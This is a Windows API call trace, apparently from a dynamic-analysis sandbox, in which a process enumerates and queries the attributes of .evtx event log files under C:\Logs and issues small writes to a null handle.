	[0082.790] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1
	[0082.791] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1
	[0082.791] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1
	[0082.791] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.791] VirtualAlloc (lpAddress=0xc000490000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000490000
	[0082.791] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0082.794] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0082.794] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.847] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.847] GetFileAttributesExW (in: lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.949] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.949] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.950] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.950] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.950] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.950] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.950] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.950] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0082.998] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0082.998] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.051] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.051] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.051] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.051] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.051] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.051] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.051] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.052] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.052] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.052] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
	[0083.096] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.099] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.099] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.099] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000)) returned 1
	[0083.099] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.099] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.142] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.142] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0083.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.142] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.143] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.143] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.187] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.188] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.188] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.188] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.188] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.188] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.188] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.188] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.189] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.189] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.238] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.238] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0083.239] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.239] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.239] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.239] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.239] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
